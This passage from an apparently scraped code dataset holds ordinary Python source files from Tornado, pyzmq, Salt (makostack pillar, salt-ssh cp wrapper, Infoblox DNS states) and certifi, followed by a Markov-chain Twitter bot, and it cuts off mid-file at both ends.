list.\n for kevent in kevents:\n self._kqueue.control([kevent], 0)\n\n def poll(self, timeout):\n kevents = self._kqueue.control(None, 1000, timeout)\n events = {}\n for kevent in kevents:\n fd = kevent.ident\n if kevent.filter == select.KQ_FILTER_READ:\n events[fd] = events.get(fd, 0) | IOLoop.READ\n if kevent.filter == select.KQ_FILTER_WRITE:\n if kevent.flags & select.KQ_EV_EOF:\n # If an asynchronous connection is refused, kqueue\n # returns a write event with the EOF flag set.\n # Turn this into an error for consistency with the\n # other IOLoop implementations.\n # Note that for read events, EOF may be returned before\n # all data has been consumed from the socket buffer,\n # so we only check for EOF on write events.\n events[fd] = IOLoop.ERROR\n else:\n events[fd] = events.get(fd, 0) | IOLoop.WRITE\n if kevent.flags & select.KQ_EV_ERROR:\n events[fd] = events.get(fd, 0) | IOLoop.ERROR\n return events.items()\n\n\nclass KQueueIOLoop(PollIOLoop):\n def initialize(self, **kwargs):\n super(KQueueIOLoop, self).initialize(impl=_KQueue(), **kwargs)\n", "id": "6823325", "language": "Python", "matching_score": 1.3951412439346313, "max_stars_count": 652, "path": "tests/build/virtualenv/lib/python2.7/site-packages/tornado/platform/kqueue.py" }, { "content": "from zmq.eventloop.ioloop import *\nfrom zmq.green import Poller\n\nRealIOLoop = IOLoop\nRealZMQPoller = ZMQPoller\n\nclass ZMQPoller(RealZMQPoller):\n \"\"\"gevent-compatible version of ioloop.ZMQPoller\"\"\"\n def __init__(self):\n self._poller = Poller()\n\nclass IOLoop(RealIOLoop):\n \"\"\"gevent-and-zmq-aware tornado IOLoop implementation\"\"\"\n _zmq_impl = ZMQPoller\n\n", "id": "11093810", "language": "Python", "matching_score": 1.9199789762496948, "max_stars_count": 4, "path": "tests/build/virtualenv/lib/python2.7/site-packages/zmq/green/eventloop/ioloop.py" }, { "content": "\"\"\"A Tornado based event loop for PyZMQ.\"\"\"\n\nfrom zmq.eventloop.ioloop import IOLoop\n\n__all__ = ['IOLoop']", "id": "10083518", "language": "Python", "matching_score": 0.009310456924140453, "max_stars_count": 652, "path": "tests/build/virtualenv/lib/python2.7/site-packages/zmq/eventloop/__init__.py" }, { "content": "# -*- coding: utf-8 -*-\n'''\nSimple and flexible YAML ext_pillar which can read pillar from within pillar.\n\n.. versionadded:: 2016.3.0\n\nThis custom saltstack ``ext_pillar`` is a direct ripoff of the 'stack'\next_pillar, simply ported to use mako instead of jinja2 for templating.\n\nIt supports the following features:\n\n- multiple config files that are mako templates with support for ``pillar``,\n ``__grains__``, ``__salt__``, ``__opts__`` objects\n- a config file renders as an ordered list of files (paths of these files are\n relative to the current config file)\n- this list of files are read in ordered as mako templates with support for\n ``stack``, ``pillar``, ``__grains__``, ``__salt__``, ``__opts__`` objects\n- all these rendered files are then parsed as ``yaml``\n- then all yaml dicts are merged in order with support for the following\n merging strategies: ``merge-first``, ``merge-last``, ``remove``, and\n ``overwrite``\n- stack config files can be matched based on ``pillar``, ``grains``, or\n ``opts`` values, which make it possible to support kind of self-contained\n environments\n\nConfiguration in Salt\n---------------------\n\nLike any other external pillar, its configuration takes place through the\n``ext_pillar`` key in the master config file.\n\nHowever, you can configure MakoStack in 3 different ways:\n\nSingle config file\n~~~~~~~~~~~~~~~~~~\n\nThis is the simplest option, you just need to set the path to your single\nMakoStack config file like below:\n\n.. code:: yaml\n\n ext_pillar:\n - stack: /path/to/stack.cfg\n\nList of config files\n~~~~~~~~~~~~~~~~~~~~\n\nYou can also provide a list of config files:\n\n.. code:: yaml\n\n ext_pillar:\n - stack:\n - /path/to/stack1.cfg\n - /path/to/stack2.cfg\n\nSelect config files through grains|pillar|opts matching\n~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~\n\nYou can also opt for a much more flexible configuration: MakoStack allows to\nselect the config files for the current minion based on matching values from\neither grains, or pillar, or opts objects.\n\nHere is an example of such a configuration, which should speak by itself:\n\n.. code:: yaml\n\n ext_pillar:\n - stack:\n pillar:environment:\n dev: /path/to/dev/stack.cfg\n prod: /path/to/prod/stack.cfg\n grains:custom:grain:\n value:\n - /path/to/stack1.cfg\n - /path/to/stack2.cfg\n opts:custom:opt:\n value: /path/to/stack0.cfg\n\n\nGrafting data from files to arbitrary namespaces\n~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~\n\nAn extended syntax for config files permits defining \"graft points\" on a\nper-config-file basis. As an example, if the file foo.cfg would produce\nthe following:\n\n.. code:: yaml\n\n foo:\n - bar\n - baz\n\nand you specified the cfg file as /path/to/foo.cfg:yummy:fur, the following\nwould actually end up in pillar after all merging was complete:\n\n.. code:: yaml\n\n yummy:\n fur:\n foo:\n - bar\n - baz\n\nMakoStack configuration files\n-------------------------------\n\nThe config files that are referenced in the above ``ext_pillar`` configuration\nare mako templates which must render as a simple ordered list of ``yaml``\nfiles that will then be merged to build pillar data.\n\nThe path of these ``yaml`` files must be relative to the directory of the\nMakoStack config file.\n\nThe following variables are available in mako templating of makostack\nconfiguration files:\n\n- ``pillar``: the pillar data (as passed by Salt to our ``ext_pillar``\n function)\n- ``minion_id``: the minion id ;-)\n- ``__opts__``: a dictionary of mostly Salt configuration options\n- ``__grains__``: a dictionary of the grains of the minion making this pillar\n call\n- ``__salt__``: a dictionary of Salt module functions, useful so you don't have\n to duplicate functions that already exist (note: runs on the master)\n\nSo you can use all the power of mako to build your list of ``yaml`` files\nthat will be merged in pillar data.\n\nFor example, you could have a MakoStack config file which looks like:\n\n.. code:: mako\n\n $ cat /path/to/stack/config.cfg\n core.yml\n osarchs/%{ __grains__['osarch'] }}.yml\n oscodenames/%{ __grains__['oscodename'] }.yml\n % for role in pillar.get('roles', []):\n roles/%{ role }.yml\n % endfor\n minions/%{ minion_id }.yml\n\nAnd the whole directory structure could look like:\n\n.. code::\n\n $ tree /path/to/stack/\n /path/to/stack/\n ├── config.cfg\n ├── core.yml\n ├── osarchs/\n │   ├── amd64.yml\n │   └── armhf.yml\n ├── oscodenames/\n │   ├── wheezy.yml\n │   └── jessie.yml\n ├── roles/\n │   ├── web.yml\n │   └── db.yml\n └── minions/\n ├── test-1-dev.yml\n └── test-2-dev.yml\n\nOverall process\n---------------\n\nIn the above MakoStack configuration, given that test-1-dev minion is an\namd64 platform running Debian Jessie, and which pillar ``roles`` is ``[\"db\"]``,\nthe following ``yaml`` files would be merged in order:\n\n- ``core.yml``\n- ``osarchs/amd64.yml``\n- ``oscodenames/jessie.yml``\n- ``roles/db.yml``\n- ``minions/test-1-dev.yml``\n\nBefore merging, every files above will be preprocessed as mako templates.\nThe following variables are available in mako templating of ``yaml`` files:\n\n- ``stack``: the MakoStack pillar data object that has currently been merged\n (data from previous ``yaml`` files in MakoStack configuration)\n- ``pillar``: the pillar data (as passed by Salt to our ``ext_pillar``\n function)\n- ``minion_id``: the minion id ;-)\n- ``__opts__``: a dictionary of mostly Salt configuration options\n- ``__grains__``: a dictionary of the grains of the minion making this pillar\n call\n- ``__salt__``: a dictionary of Salt module functions, useful so you don't have\n to duplicate functions that already exist (note: runs on the master)\n\nSo you can use all the power of mako to build your pillar data, and even use\nother pillar values that has already been merged by MakoStack (from previous\n``yaml`` files in MakoStack configuration) through the ``stack`` variable.\n\nOnce a ``yaml`` file has been preprocessed by mako, we obtain a Python dict -\nlet's call it ``yml_data`` - then, MakoStack will merge this ``yml_data``\ndict in the main ``stack`` dict (which contains already merged MakoStack\npillar data).\nBy default, MakoStack will deeply merge ``yml_data`` in ``stack`` (similarly\nto the ``recurse`` salt ``pillar_source_merging_strategy``), but 3 merging\nstrategies are currently available for you to choose (see next section).\n\nOnce every ``yaml`` files have been processed, the ``stack`` dict will contain\nyour whole own pillar data, merged in order by MakoStack.\nSo MakoStack ``ext_pillar`` returns the ``stack`` dict, the contents of which\nSalt takes care to merge in with all of the other pillars and finally return\nthe whole pillar to the minion.\n\nMerging strategies\n------------------\n\nThe way the data from a new ``yaml_data`` dict is merged with the existing\n``stack`` data can be controlled by specifying a merging strategy. Right now\nthis strategy can either be ``merge-last`` (the default), ``merge-first``,\n``remove``, or ``overwrite``.\n\nNote that scalar values like strings, integers, booleans, etc. are always\nevaluated using the ``overwrite`` strategy (other strategies don't make sense\nin that case).\n\nThe merging strategy can be set by including a dict in the form of:\n\n.. code:: yaml\n\n __: <merging strategy>\n\nas the first item of the dict or list.\nThis allows fine grained control over the merging process.\n\n``merge-last`` (default) strategy\n~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~\n\nIf the ``merge-last`` strategy is selected (the default), then content of dict\nor list variables is merged recursively with previous definitions of this\nvariable (similarly to the ``recurse`` salt\n``pillar_source_merging_strategy``).\nThis allows for extending previously defined data.\n\n``merge-first`` strategy\n~~~~~~~~~~~~~~~~~~~~~~~~\n\nIf the ``merge-first`` strategy is selected, then the content of dict or list\nvariables are swapped between the ``yaml_data`` and ``stack`` objects before\nbeing merged recursively with the ``merge-last`` previous strategy.\n\n``remove`` strategy\n~~~~~~~~~~~~~~~~~~~\n\nIf the ``remove`` strategy is selected, then content of dict or list variables\nin ``stack`` are removed only if the corresponding item is present in the\n``yaml_data`` dict.\nThis allows for removing items from previously defined data.\n\n``overwrite`` strategy\n~~~~~~~~~~~~~~~~~~~~~~\n\nIf the ``overwrite`` strategy is selected, then the content of dict or list\nvariables in ``stack`` is overwritten by the content of ``yaml_data`` dict.\nSo this allows one to overwrite variables from previous definitions.\n\nMerging examples\n----------------\n\nLet's go through small examples that should clarify what's going on when a\n``yaml_data`` dict is merged in the ``stack`` dict.\n\nWhen you don't specify any strategy, the default ``merge-last`` strategy is\nselected:\n\n+----------------------+-----------------------+-------------------------+\n| ``stack`` | ``yaml_data`` | ``stack`` (after merge) |\n+======================+=======================+=========================+\n| .. code:: yaml | .. code:: yaml | .. code:: yaml |\n| | | |\n| users: | users: | users: |\n| tom: | tom: | tom: |\n| uid: 500 | uid: 1000 | uid: 1000 |\n| roles: | roles: | roles: |\n| - sysadmin | - developer | - sysadmin |\n| root: | mat: | - developer |\n| uid: 0 | uid: 1001 | mat: |\n| | | uid: 1001 |\n| | | root: |\n| | | uid: 0 |\n+----------------------+-----------------------+-------------------------+\n\nThen you can select a custom merging strategy using the ``__`` key in a dict:\n\n+----------------------+-----------------------+-------------------------+\n| ``stack`` | ``yaml_data`` | ``stack`` (after merge) |\n+======================+=======================+=========================+\n| .. code:: yaml | .. code:: yaml | .. code:: yaml |\n| | | |\n| users: | users: | users: |\n| tom: | __: merge-last | tom: |\n| uid: 500 | tom: | uid: 1000 |\n| roles: | uid: 1000 | roles: |\n| - sysadmin | roles: | - sysadmin |\n| root: | - developer | - developer |\n| uid: 0 | mat: | mat: |\n| | uid: 1001 | uid: 1001 |\n| | | root: |\n| | | uid: 0 |\n+----------------------+-----------------------+-------------------------+\n| .. code:: yaml | .. code:: yaml | .. code:: yaml |\n| | | |\n| users: | users: | users: |\n| tom: | __: merge-first | tom: |\n| uid: 500 | tom: | uid: 500 |\n| roles: | uid: 1000 | roles: |\n| - sysadmin | roles: | - developer |\n| root: | - developer | - sysadmin |\n| uid: 0 | mat: | mat: |\n| | uid: 1001 | uid: 1001 |\n| | | root: |\n| | | uid: 0 |\n+----------------------+-----------------------+-------------------------+\n| .. code:: yaml | .. code:: yaml | .. code:: yaml |\n| | | |\n| users: | users: | users: |\n| tom: | __: remove | root: |\n| uid: 500 | tom: | uid: 0 |\n| roles: | mat: | |\n| - sysadmin | | |\n| root: | | |\n| uid: 0 | | |\n+----------------------+-----------------------+-------------------------+\n| .. code:: yaml | .. code:: yaml | .. code:: yaml |\n| | | |\n| users: | users: | users: |\n| tom: | __: overwrite | tom: |\n| uid: 500 | tom: | uid: 1000 |\n| roles: | uid: 1000 | roles: |\n| - sysadmin | roles: | - developer |\n| root: | - developer | mat: |\n| uid: 0 | mat: | uid: 1001 |\n| | uid: 1001 | |\n+----------------------+-----------------------+-------------------------+\n\nYou can also select a custom merging strategy using a ``__`` object in a list:\n\n+----------------+-------------------------+-------------------------+\n| ``stack`` | ``yaml_data`` | ``stack`` (after merge) |\n+================+=========================+=========================+\n| .. code:: yaml | .. code:: yaml | .. code:: yaml |\n| | | |\n| users: | users: | users: |\n| - tom | - __: merge-last | - tom |\n| - root | - mat | - root |\n| | | - mat |\n+----------------+-------------------------+-------------------------+\n| .. code:: yaml | .. code:: yaml | .. code:: yaml |\n| | | |\n| users: | users: | users: |\n| - tom | - __: merge-first | - mat |\n| - root | - mat | - tom |\n| | | - root |\n+----------------+-------------------------+-------------------------+\n| .. code:: yaml | .. code:: yaml | .. code:: yaml |\n| | | |\n| users: | users: | users: |\n| - tom | - __: remove | - root |\n| - root | - mat | |\n| | - tom | |\n+----------------+-------------------------+-------------------------+\n| .. code:: yaml | .. code:: yaml | .. code:: yaml |\n| | | |\n| users: | users: | users: |\n| - tom | - __: overwrite | - mat |\n| - root | - mat | |\n+----------------+-------------------------+-------------------------+\n'''\n\n# Import Python libs\nfrom __future__ import absolute_import\nimport os\nimport logging\nfrom functools import partial\nimport yaml\n\n# Import Salt libs\nimport salt.ext.six as six\n\ntry:\n from mako.lookup import TemplateLookup\n from mako import exceptions\n HAS_MAKO = True\nexcept ImportError:\n HAS_MAKO = False\n\nlog = logging.getLogger(__name__)\nstrategies = ('overwrite', 'merge-first', 'merge-last', 'remove')\n\n__virtualname__ = 'makostack'\n\n\n# Only load in this module if the EC2 configurations are in place\ndef __virtual__():\n '''\n Set up the libcloud functions and check for EC2 configurations\n '''\n if HAS_MAKO is True:\n return __virtualname__\n return False\n\n\ndef ext_pillar(minion_id, pillar, *args, **kwargs):\n import salt.utils\n stack = {}\n stack_config_files = list(args)\n traverse = {\n 'pillar': partial(salt.utils.traverse_dict_and_list, pillar),\n 'grains': partial(salt.utils.traverse_dict_and_list, __grains__),\n 'opts': partial(salt.utils.traverse_dict_and_list, __opts__),\n }\n for matcher, matchs in six.iteritems(kwargs):\n t, matcher = matcher.split(':', 1)\n if t not in traverse:\n raise Exception('Unknown traverse option \"{0}\", '\n 'should be one of {1}'.format(t, traverse.keys()))\n cfgs = matchs.get(traverse[t](matcher, None), [])\n if not isinstance(cfgs, list):\n cfgs = [cfgs]\n stack_config_files += cfgs\n for cfg in stack_config_files:\n if ':' in cfg:\n cfg, namespace = cfg.split(':', 1)\n else:\n namespace = None\n if not os.path.isfile(cfg):\n log.warning('Ignoring pillar stack cfg \"{0}\": '\n 'file does not exist'.format(cfg))\n continue\n stack = _process_stack_cfg(cfg, stack, minion_id, pillar, namespace)\n return stack\n\n\ndef _process_stack_cfg(cfg, stack, minion_id, pillar, namespace):\n basedir, filename = os.path.split(cfg)\n lookup = TemplateLookup(directories=[basedir])\n tops = lookup.get_template(filename).render(__opts__=__opts__,\n __salt__=__salt__,\n __grains__=__grains__,\n minion_id=minion_id,\n pillar=pillar, stack=stack)\n for path in _parse_top_cfg(tops):\n try:\n p = lookup.get_template(path).render(__opts__=__opts__,\n __salt__=__salt__,\n __grains__=__grains__,\n minion_id=minion_id,\n pillar=pillar, stack=stack)\n obj = yaml.safe_load(p)\n if not isinstance(obj, dict):\n log.info('Ignoring pillar stack template \"{0}\": Can\\'t parse '\n 'as a valid yaml dictionary'.format(path))\n continue\n if namespace:\n for sub in namespace.split(':')[::-1]:\n obj = {sub: obj}\n stack = _merge_dict(stack, obj)\n except exceptions.TopLevelLookupException as e:\n log.info('Stack template \"{0}\" not found.'.format(path))\n continue\n except Exception as e:\n log.info('Ignoring pillar stack template \"{0}\":'.format(path))\n log.info('{0}'.format(exceptions.text_error_template().render()))\n continue\n return stack\n\n\ndef _cleanup(obj):\n if obj:\n if isinstance(obj, dict):\n obj.pop('__', None)\n for k, v in six.iteritems(obj):\n obj[k] = _cleanup(v)\n elif isinstance(obj, list) and isinstance(obj[0], dict) \\\n and '__' in obj[0]:\n del obj[0]\n return obj\n\n\ndef _merge_dict(stack, obj):\n strategy = obj.pop('__', 'merge-last')\n if strategy not in strategies:\n raise Exception('Unknown strategy \"{0}\", should be one of {1}'.format(\n strategy, strategies))\n if strategy == 'overwrite':\n return _cleanup(obj)\n else:\n for k, v in six.iteritems(obj):\n if strategy == 'remove':\n stack.pop(k, None)\n continue\n if k in stack:\n if strategy == 'merge-first':\n # merge-first is same as merge-last but the other way round\n # so let's switch stack[k] and v\n stack_k = stack[k]\n stack[k] = _cleanup(v)\n v = stack_k\n if type(stack[k]) != type(v):\n log.debug('Force overwrite, types differ: '\n '\\'{0}\\' != \\'{1}\\''.format(stack[k], v))\n stack[k] = _cleanup(v)\n elif isinstance(v, dict):\n stack[k] = _merge_dict(stack[k], v)\n elif isinstance(v, list):\n stack[k] = _merge_list(stack[k], v)\n else:\n stack[k] = v\n else:\n stack[k] = _cleanup(v)\n return stack\n\n\ndef _merge_list(stack, obj):\n strategy = 'merge-last'\n if obj and isinstance(obj[0], dict) and '__' in obj[0]:\n strategy = obj[0]['__']\n del obj[0]\n if strategy not in strategies:\n raise Exception('Unknown strategy \"{0}\", should be one of {1}'.format(\n strategy, strategies))\n if strategy == 'overwrite':\n return obj\n elif strategy == 'remove':\n return [item for item in stack if item not in obj]\n elif strategy == 'merge-first':\n return obj + stack\n else:\n return stack + obj\n\n\ndef _parse_top_cfg(content):\n \"\"\"Allow top_cfg to be YAML\"\"\"\n try:\n obj = yaml.safe_load(content)\n if isinstance(obj, list):\n return obj\n except Exception as e:\n pass\n return content.splitlines()\n", "id": "708784", "language": "Python", "matching_score": 2.1526663303375244, "max_stars_count": 1, "path": "tests/build/virtualenv/lib/python2.7/site-packages/salt/pillar/makostack.py" }, { "content": "# -*- coding: utf-8 -*-\n'''\nWrap the cp module allowing for managed ssh file transfers\n'''\nfrom __future__ import absolute_import\n\n# Import salt libs\nimport salt.client.ssh\nimport logging\nimport os\nfrom salt.exceptions import CommandExecutionError\n\nlog = logging.getLogger(__name__)\n\n\ndef get_file(path,\n dest,\n saltenv='base',\n makedirs=False,\n template=None,\n gzip=None):\n '''\n Send a file from the master to the location in specified\n\n .. note::\n\n gzip compression is not supported in the salt-ssh version of\n cp.get_file. The argument is only accepted for interface compatibility.\n '''\n if gzip is not None:\n log.warning('The gzip argument to cp.get_file in salt-ssh is '\n 'unsupported')\n\n if template is not None:\n (path, dest) = _render_filenames(path, dest, saltenv, template)\n\n src = __context__['fileclient'].cache_file(\n path,\n saltenv,\n cachedir=os.path.join('salt-ssh', __salt__.kwargs['id_']))\n single = salt.client.ssh.Single(\n __opts__,\n '',\n **__salt__.kwargs)\n ret = single.shell.send(src, dest, makedirs)\n return not ret[2]\n\n\ndef get_dir(path, dest, saltenv='base'):\n '''\n Transfer a directory down\n '''\n src = __context__['fileclient'].cache_dir(\n path,\n saltenv,\n cachedir=os.path.join('salt-ssh', __salt__.kwargs['id_']))\n src = ' '.join(src)\n single = salt.client.ssh.Single(\n __opts__,\n '',\n **__salt__.kwargs)\n ret = single.shell.send(src, dest)\n return not ret[2]\n\n\ndef get_url(path, dest, saltenv='base'):\n '''\n retrieve a URL\n '''\n src = __context__['fileclient'].get_url(\n path,\n saltenv,\n cachedir=os.path.join('salt-ssh', __salt__.kwargs['id_']))\n single = salt.client.ssh.Single(\n __opts__,\n '',\n **__salt__.kwargs)\n ret = single.shell.send(src, dest)\n return not ret[2]\n\n\ndef list_states(saltenv='base'):\n '''\n List all the available state modules in an environment\n '''\n return __context__['fileclient'].list_states(saltenv)\n\n\ndef list_master(saltenv='base', prefix=''):\n '''\n List all of the files stored on the master\n '''\n return __context__['fileclient'].file_list(saltenv, prefix)\n\n\ndef list_master_dirs(saltenv='base', prefix=''):\n '''\n List all of the directories stored on the master\n '''\n return __context__['fileclient'].dir_list(saltenv, prefix)\n\n\ndef list_master_symlinks(saltenv='base', prefix=''):\n '''\n List all of the symlinks stored on the master\n '''\n return __context__['fileclient'].symlink_list(saltenv, prefix)\n\n\ndef _render_filenames(path, dest, saltenv, template):\n '''\n Process markup in the :param:`path` and :param:`dest` variables (NOT the\n files under the paths they ultimately point to) according to the markup\n format provided by :param:`template`.\n '''\n if not template:\n return (path, dest)\n\n # render the path as a template using path_template_engine as the engine\n if template not in salt.utils.templates.TEMPLATE_REGISTRY:\n raise CommandExecutionError(\n 'Attempted to render file paths with unavailable engine '\n '{0}'.format(template)\n )\n\n kwargs = {}\n kwargs['salt'] = __salt__\n kwargs['pillar'] = __pillar__\n kwargs['grains'] = __grains__\n kwargs['opts'] = __opts__\n kwargs['saltenv'] = saltenv\n\n def _render(contents):\n '''\n Render :param:`contents` into a literal pathname by writing it to a\n temp file, rendering that file, and returning the result.\n '''\n # write out path to temp file\n tmp_path_fn = salt.utils.mkstemp()\n with salt.utils.fopen(tmp_path_fn, 'w+') as fp_:\n fp_.write(contents)\n data = salt.utils.templates.TEMPLATE_REGISTRY[template](\n tmp_path_fn,\n to_str=True,\n **kwargs\n )\n salt.utils.safe_rm(tmp_path_fn)\n if not data['result']:\n # Failed to render the template\n raise CommandExecutionError(\n 'Failed to render file path with error: {0}'.format(\n data['data']\n )\n )\n else:\n return data['data']\n\n path = _render(path)\n dest = _render(dest)\n return (path, dest)\n", "id": "6432690", "language": "Python", "matching_score": 1.574836254119873, "max_stars_count": 1, "path": "tests/build/virtualenv/lib/python2.7/site-packages/salt/client/ssh/wrapper/cp.py" }, { "content": "# This file was auto-generated by salt's setup on Friday, 27 January 2017 @ 00:01:36 UTC.\n\nROOT_DIR = None\nCONFIG_DIR = None\nCACHE_DIR = None\nSOCK_DIR = None\nSRV_ROOT_DIR= None\nBASE_FILE_ROOTS_DIR = None\nBASE_PILLAR_ROOTS_DIR = None\nBASE_MASTER_ROOTS_DIR = None\nBASE_THORIUM_ROOTS_DIR = None\nLOGS_DIR = None\nPIDFILE_DIR = None\nSPM_FORMULA_PATH = None\nSPM_PILLAR_PATH = None\nSPM_REACTOR_PATH = None\n", "id": "6104331", "language": "Python", "matching_score": 1.4536354541778564, "max_stars_count": 0, "path": "tests/build/virtualenv/lib/python2.7/site-packages/salt/_syspaths.py" }, { "content": "# This file was auto-generated by salt's setup on Tuesday, 13 December 2016 @ 23:12:49 UTC.\n\nfrom salt.version import SaltStackVersion\n\n__saltstack_version__ = SaltStackVersion(2016, 11, 1, 0, '', 0, 0, None)\n", "id": "3697518", "language": "Python", "matching_score": 0.2178664356470108, "max_stars_count": 0, "path": "tests/build/virtualenv/lib/python2.7/site-packages/salt/_version.py" }, { "content": "# -*- coding: utf-8 -*-\n'''\nstates for infoblox stuff\n\nensures a record is either present or absent in an Infoblox DNS system\n\n.. versionadded:: 2016.3.0\n'''\nfrom __future__ import absolute_import\n\n# Import Python libs\nimport logging\n\nlog = logging.getLogger(__name__)\n\n\ndef __virtual__():\n '''\n make sure the infoblox module is available\n '''\n return True if 'infoblox.get_record' in __salt__ else False\n\n\ndef present(name,\n value,\n record_type,\n dns_view,\n infoblox_server=None,\n infoblox_user=None,\n infoblox_password=None,\n infoblox_api_version='v1.4.2',\n sslVerify=True):\n '''\n Ensure a record exists\n\n name\n Name of the record\n\n value\n Value of the record\n\n record_type\n record type (host, a, cname, etc)\n\n dns_view\n DNS View\n\n infoblox_server\n infoblox server to connect to (will try pillar if not specified)\n\n infoblox_user\n username to use to connect to infoblox (will try pillar if not specified)\n\n infoblox_password\n password to <PASSWORD> to connect to infoblox (will try pillar if not specified)\n\n verify_ssl\n verify SSL certificates\n\n Example:\n\n .. code-block:: yaml\n\n some-state:\n infoblox.present:\n - name: some.dns.record\n - value: 10.1.1.3\n - record_type: host\n - sslVerify: False\n '''\n record_type = record_type.lower()\n ret = {'name': name, 'result': True, 'comment': '', 'changes': {}}\n records = __salt__['infoblox.get_record'](name,\n record_type,\n infoblox_server=infoblox_server,\n infoblox_user=infoblox_user,\n infoblox_password=<PASSWORD>,\n dns_view=dns_view,\n infoblox_api_version=infoblox_api_version,\n sslVerify=sslVerify)\n if records:\n # check records for updates\n for record in records:\n update_record = False\n if record_type == 'cname':\n if record['Canonical Name'] != value:\n update_record = True\n elif record_type == 'a':\n if record['IP Address'] != value:\n update_record = True\n elif record_type == 'host':\n if record['IP Addresses'] != value:\n update_record = True\n if update_record:\n if __opts__['test']:\n ret['result'] = None\n ret['comment'] = ' '.join([ret['comment'],\n 'DNS {0} record {1} in view {2} will be update'.format(record_type,\n name,\n dns_view)])\n else:\n retval = __salt__['infoblox.update_record'](name,\n value,\n dns_view,\n record_type,\n infoblox_server=infoblox_server,\n infoblox_user=infoblox_user,\n infoblox_password=<PASSWORD>,\n infoblox_api_version=infoblox_api_version,\n sslVerify=sslVerify)\n if retval:\n if 'old' not in ret['changes']:\n ret['changes']['old'] = []\n if 'new' not in ret['changes']:\n ret['changes']['new'] = []\n ret['changes']['old'].append(record)\n ret['changes']['new'].append(__salt__['infoblox.get_record'](name,\n record_type,\n infoblox_server=infoblox_server,\n infoblox_user=infoblox_user,\n infoblox_password=<PASSWORD>,\n dns_view=dns_view,\n infoblox_api_version=infoblox_api_version,\n sslVerify=sslVerify))\n else:\n ret['result'] = False\n return ret\n else:\n # no records\n if __opts__['test']:\n ret['result'] = None\n ret['comment'] = ' '.join([ret['comment'],\n 'DNS {0} record {1} set to be added to view {2}'.format(record_type,\n name,\n dns_view)])\n return ret\n retval = __salt__['infoblox.add_record'](name,\n value,\n record_type,\n dns_view,\n infoblox_server=infoblox_server,\n infoblox_user=infoblox_user,\n infoblox_password=<PASSWORD>,\n infoblox_api_version='v1.4.2',\n sslVerify=sslVerify)\n if retval:\n ret['result'] = True\n ret['changes']['old'] = None\n ret['changes']['new'] = __salt__['infoblox.get_record'](name,\n record_type,\n infoblox_server=infoblox_server,\n infoblox_user=infoblox_user,\n infoblox_password=<PASSWORD>,\n dns_view=dns_view,\n infoblox_api_version=infoblox_api_version,\n sslVerify=sslVerify)\n return ret\n\n\ndef absent(name,\n record_type,\n dns_view,\n infoblox_server=None,\n infoblox_user=None,\n infoblox_password=None,\n infoblox_api_version='v1.4.2',\n sslVerify=True):\n '''\n Ensure a record does not exists\n\n name\n Name of the record\n record_type\n record type (host, a, cname, etc)\n dns_view\n DNS View\n infoblox_server\n infoblox server to connect to (will try pillar if not specified)\n infoblox_user\n username to use to connect to infoblox (will try pillar if not specified)\n infoblox_password\n password to use to connect to <PASSWORD> (will try pillar if not specified)\n verify_ssl\n verify SSL certificates\n\n Example:\n\n .. code-block:: yaml\n\n some-state:\n infoblox.absent:\n - name: some.dns.record\n - record_type: host\n - dns_view: MyView\n - sslVerify: False\n '''\n ret = {'name': name, 'result': True, 'comment': '', 'changes': {}}\n record = __salt__['infoblox.get_record'](name,\n record_type,\n infoblox_server=infoblox_server,\n infoblox_user=infoblox_user,\n infoblox_password=<PASSWORD>,\n dns_view=dns_view,\n infoblox_api_version=infoblox_api_version,\n sslVerify=sslVerify)\n if record:\n if __opts__['test']:\n ret['result'] = None\n ret['comment'] = ' '.join([ret['comment'],\n 'DNS {0} record {1} in view {2} will be removed'.format(record_type,\n name,\n dns_view)])\n else:\n retval = __salt__['infoblox.delete_record'](name,\n dns_view,\n record_type,\n infoblox_server=infoblox_server,\n infoblox_user=infoblox_user,\n infoblox_password=<PASSWORD>,\n infoblox_api_version=infoblox_api_version,\n sslVerify=sslVerify)\n if retval:\n if 'old' not in ret['changes']:\n ret['changes']['old'] = []\n ret['changes']['new'] = None\n ret['changes']['old'].append(record)\n else:\n ret['result'] = False\n return ret\n else:\n # record not found\n ret['result'] = True\n ret['changes']['old'] = None\n ret['changes']['new'] = None\n ret['comment'] = 'DNS record does not exist'\n\n return ret\n", "id": "5926255", "language": "Python", "matching_score": 0.6493952870368958, "max_stars_count": 2, "path": "tests/build/virtualenv/lib/python2.7/site-packages/salt/states/infoblox.py" }, { "content": "from .core import where, old_where\n\n__version__ = \"2017.01.23\"\n", "id": "7619185", "language": "Python", "matching_score": 0.27340543270111084, "max_stars_count": 1, "path": "tests/build/virtualenv/lib/python2.7/site-packages/certifi/__init__.py" } ]
1.835688
derekkinsman
[ { "content": "import tweepy\nimport markovify\nimport requests, json\n# from time import sleep\nfrom credentials import consumer_key, consumer_secret, access_token, access_token_secret\n\nclass TroikaBackgroundsBot:\n def __init__(self, backgrounds):\n self.generate_backgrounds(backgrounds)\n\n #initialize Twitter authorization with Tweepy\n auth = tweepy.OAuthHandler(consumer_key, consumer_secret)\n auth.set_access_token(access_token, access_token_secret)\n self.api = tweepy.API(auth)\n\n def generate_backgrounds(self, backgrounds):\n url = 'https://raw.githubusercontent.com/DavidSchirduan/davidschirduan.github.io/master/_pages/troika.json'\n response = json.loads(requests.get(url).text)\n\n with open('corpus.txt', 'w') as corpus:\n for i in response['Backgrounds']:\n background = i['Text']\n corpus.write(background + '\\n')\n\n corpus.close()\n\n self.load_backgrounds(backgrounds)\n\n def load_backgrounds(self, backgrounds):\n with open(\"corpus.txt\") as backgrounds_file:\n backgrounds_entries = backgrounds_file.read()\n self.model = markovify.Text(backgrounds_entries)\n\n def tweet(self):\n message = self.model.make_short_sentence(280)\n try:\n # self.api.update_status(message)\n print(message)\n except tweepy.TweepError as error:\n print(message)\n print(error.reason)\n\n def tweeter(self):\n self.tweet()\n\n # IF YOU WANT THIS SCRIPT TO BE A LONG RUNNING TASK UNCOMMENT AND RUN THIS INSTEAD OF TWEETER()\n # def automate(self, delay):\n # while True:\n # self.tweet()\n # sleep(delay)\n\n# def main():\n\nif __name__ == \"__main__\":\n # main()\n troika = TroikaBackgroundsBot(\"corpus.txt\")\n troika.tweeter()", "id": "251650", "language": "Python", "matching_score": 4.273671627044678, "max_stars_count": 1, "path": "app.py" }, { "content": "import tweepy\nimport urllib.request\nimport random\nfrom credentials import consumer_key, consumer_secret, access_token, access_token_secret\n\n# Generate a silly name.\nword_url = 